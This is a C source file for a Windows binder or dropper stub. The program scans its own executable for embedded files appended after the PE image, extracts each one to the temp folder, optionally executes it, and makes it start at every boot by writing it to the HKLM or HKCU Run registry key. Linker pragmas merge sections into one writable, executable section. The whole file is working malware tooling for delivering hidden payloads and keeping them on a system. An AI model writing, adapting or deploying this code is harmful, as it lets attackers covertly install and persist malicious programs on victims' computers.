#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/SECTION:.text,EWR")
	
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "Advapi32.lib")

#include <stdlib.h>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>

#define WIN32_LEAN_AND_MEAN
#define DATA_HEADER "DATAHEADER"
#define MAX_BUF_SIZE 1024
#define IDI_ICON  101


struct sFileData
{
  char sDataHeader[12];
  char sName[40];
  char sRegistryKey[40];
  int sFileSize;
  int sExecuteIt;
  int sInstallIt;
} *pFileData;


/*
 * Status constants.
 *
 */
const int gNOTHING = 0;
const int gRUN = 1;
const int gINSTALL = 2;


/*
 * Calculate the stub header address
 */

int getImageSize(char *pBuffer)
{
  int lRetVal = 0;
  IMAGE_NT_HEADERS *IPEHeader = NULL;
  IMAGE_DOS_HEADER *IDosHeader = NULL;

  /*
   * Check the DOS header.
   */
  IDosHeader = (PIMAGE_DOS_HEADER) pBuffer;
  if (IDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
    lRetVal = -1;
	goto END;
  }

  /*
   * Check the NT header.
   */
  IPEHeader = (PIMAGE_NT_HEADERS) (pBuffer + IDosHeader->e_lfanew);
  if (IPEHeader->Signature != IMAGE_NT_SIGNATURE)
  {
    lRetVal = -2;
	goto END;
  }


  /*
   * Set the image size as return value.
   */
  if (IPEHeader->OptionalHeader.SizeOfImage > 0)
  {
    lRetVal = IPEHeader->OptionalHeader.SizeOfImage;
  }

END:

  return(lRetVal);
}




/*
 * Application entry point
 */

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	HANDLE hStub, hFile;
	DWORD lBytesRead = 0;
	DWORD lBytesWritten = 0;
	char lThisFile[_MAX_FNAME];
	char lOutputFilePath[MAX_PATH];
	char *lTempBuffer = "";
	char lTemp[MAX_BUF_SIZE + 1];
	struct sFileData fd;
	int lRetVal = 0;
    int lCounter = 0;
	int lFileSize = 0;
	char *lTempPointer = NULL;
	int lImageSize = 0;
	int lRegCreated = 0;
	HKEY hKey = NULL;
	DWORD lTempLength = sizeof(lTemp);
	HICON hMyIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON));

	pFileData = &fd;

	GetModuleFileName(NULL, lThisFile, _MAX_FNAME);
	if ((hStub = CreateFile(lThisFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
	{
      lRetVal = 1;
	  goto END;
	}

    lFileSize = GetFileSize(hStub, 0);
    if ((lTempBuffer = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lFileSize)) == NULL)
    {
      lRetVal = 2;
	  goto END;
    }

    if (ReadFile(hStub, lTempBuffer, lFileSize, &lBytesRead, NULL))
	{
      if ((lImageSize = getImageSize(lTempBuffer)) > 0)
      {
        for (lCounter = lImageSize; (signed int) lCounter <= (signed int)lFileSize - (signed int) strlen(DATA_HEADER); lCounter++)
        {
          if (memcmp(&lTempBuffer[lCounter], DATA_HEADER, strlen(DATA_HEADER)) == 0)
	      {

            /*
             * Found attached data. Now extract it.
             */

            pFileData = (sFileData *) &lTempBuffer[lCounter];
            lCounter = lCounter + sizeof(sFileData);

            if (lCounter + pFileData->sFileSize > lFileSize)
            {
		      lRetVal = 3;
              goto END;
		    }


            lTempPointer = &lTempBuffer[lCounter];
	        GetTempPath(sizeof lOutputFilePath, lOutputFilePath);

			if (lOutputFilePath[strlen(lOutputFilePath) - 1] != '\\')
              lstrcat(lOutputFilePath, "\\");

            lstrcat(lOutputFilePath, pFileData->sName);

            if((hFile = CreateFile(lOutputFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
            {
              lRetVal = 4;
              goto END;
            }

            /*
	         * Write and close the binary file.
             */
		    WriteFile(hFile, lTempPointer, pFileData->sFileSize, &lBytesWritten, NULL);
	  	    CloseHandle(hFile);


            /*
		     * Execute the extracted file.
		     */
            if (pFileData->sExecuteIt == gRUN)
              ShellExecute(NULL, "open", lOutputFilePath, NULL, NULL, SW_SHOWNORMAL);


            /*
		     * Create an entry in the registry to start the process 
		     * automatically after reboot.
		     */

            if (pFileData->sInstallIt == gINSTALL)
			{
              if(RegOpenKeyEx(HKEY_LOCAL_MACHINE ,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0L, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
              {
                RegDeleteValue(hKey, pFileData->sRegistryKey);
                RegSetValueEx(hKey, pFileData->sRegistryKey, 0, REG_SZ , (BYTE *) lOutputFilePath, strlen(lOutputFilePath));

                /*
                 * Check if the value was written.
                 */
                lTempLength = sizeof(lTemp);
                ZeroMemory(lTemp, sizeof(lTemp));
                if (RegQueryValueEx(hKey, pFileData->sRegistryKey, NULL, NULL, (LPBYTE) lTemp, &lTempLength) == ERROR_SUCCESS) 
                  lRegCreated = 1;

                RegCloseKey(hKey);
			  }


              /*
               * Check if the value was written. If it wasn't, retry to create it
               * under the USER heap.
               */
              if (lRegCreated != 1)
			  {
                if(RegOpenKeyEx(HKEY_CURRENT_USER ,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0L, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
                {
                  RegDeleteValue(hKey, pFileData->sRegistryKey);
                  RegSetValueEx(hKey, pFileData->sRegistryKey, 0, REG_SZ , (BYTE *) lOutputFilePath, strlen(lOutputFilePath));
                  RegCloseKey(hKey);
				}
              }

			}
            lCounter = lCounter + pFileData->sFileSize  - 1;
	      }
        }
      } else {
        lRetVal = lImageSize; //5;
      }
	} else {
      lRetVal = 6;
	}


END:
	if (lTempBuffer != NULL)
      HeapFree(GetProcessHeap(), 0, lTempBuffer);

    if (hStub != INVALID_HANDLE_VALUE)
      CloseHandle(hStub);

    if (hFile != INVALID_HANDLE_VALUE)
      CloseHandle(hFile);



	return(lRetVal);
}

